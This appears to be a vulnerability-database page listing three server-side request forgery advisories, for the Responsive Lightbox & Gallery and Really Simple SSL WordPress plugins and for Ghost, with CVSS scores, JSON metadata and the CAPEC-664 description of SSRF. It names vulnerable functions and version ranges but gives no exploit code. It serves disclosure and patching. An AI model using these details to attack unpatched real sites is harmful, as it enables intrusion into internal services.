The Responsive Lightbox & Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.3 via the 'get_image_size_by_url' function. This is due to insufficient validation of user-supplied URLs when determining image dimensions for gallery items. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-12359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-19T06:15:45Z",
    "severity": "MODERATE"
  },
  "details": "The Responsive Lightbox \u0026 Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.3 via the \u0027get_image_size_by_url\u0027 function. This is due to insufficient validation of user-supplied URLs when determining image dimensions for gallery items. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.",
  "id": "GHSA-x557-gw6m-864x",
  "modified": "2025-11-19T06:31:11Z",
  "published": "2025-11-19T06:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12359"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-fast-image.php#L25"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-frontend.php#L1531"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/class-galleries.php#L3648"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-lightbox/tags/2.5.3/includes/functions.php#L108"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3397940%40responsive-lightbox%2Ftrunk\u0026old=3358021%40responsive-lightbox%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2025-12359"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7f4c0bd6-f289-4a52-ac11-345076c32d84?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5C9-RRJF-32HG

Vulnerability from github – Published: 2024-04-18 12:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Really Simple Plugins Really Simple SSL.This issue affects Really Simple SSL: from n/a through 7.2.3.

Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-31229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-18T11:15:37Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Really Simple Plugins Really Simple SSL.This issue affects Really Simple SSL: from n/a through 7.2.3.",
  "id": "GHSA-x5c9-rrjf-32hg",
  "modified": "2026-04-28T21:34:51Z",
  "published": "2024-04-18T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31229"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/really-simple-ssl/wordpress-really-simple-ssl-plugin-7-2-3-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X5MM-WM4G-J5XV

Vulnerability from github – Published: 2026-08-05 14:37 – Updated: 2026-08-05 14:37
VLAI
Summary
Ghost: Server-Side Request Forgery Mitigation Issue
Details

Impact

A validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server's internal network. A successful attack would not result in any response data being returned.

Vulnerable versions

This vulnerability is present in Ghost from v6.26.0 up to v6.54.0.

Patches

v6.54.1 contains a fix for this issue.

How to update

For self-hosters using Docker, find Docker's official Ghost image here. Updating a Docker-based Ghost instance is documented here.

If your Ghost is a Ghost-CLI install see our documentation on updating it to the latest version here.

References

Ghost thanks Hwang Seyeon for disclosing this vulnerability responsibly.

For more information

If you have any questions or comments about this advisory, email Ghost at security@ghost.org.

Severity
4.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ghost"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.26.0"
            },
            {
              "fixed": "6.54.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T14:37:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server\u0027s internal network. A successful attack would not result in any response data being returned.\n\n### Vulnerable versions\n\nThis vulnerability is present in Ghost from v6.26.0 up to v6.54.0.\n\n### Patches\n\nv6.54.1 contains a fix for this issue.\n\n### How to update\n\nFor self-hosters using Docker, find [Docker\u0027s official Ghost image here](https://hub.docker.com/_/ghost). Updating a Docker-based Ghost instance [is documented here](https://docs.ghost.org/install/docker#updating-ghost). \n\nIf your Ghost is a Ghost-CLI install see our documentation on [updating it to the latest version here](https://docs.ghost.org/update). \n\n### References\n\nGhost thanks Hwang Seyeon for disclosing this vulnerability responsibly.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email Ghost at [security@ghost.org](mailto:security@ghost.org).",
  "id": "GHSA-x5mm-wm4g-j5xv",
  "modified": "2026-08-05T14:37:14Z",
  "published": "2026-08-05T14:37:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-x5mm-wm4g-j5xv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TryGhost/Ghost"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ghost: Server-Side Request Forgery Mitigation Issue"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list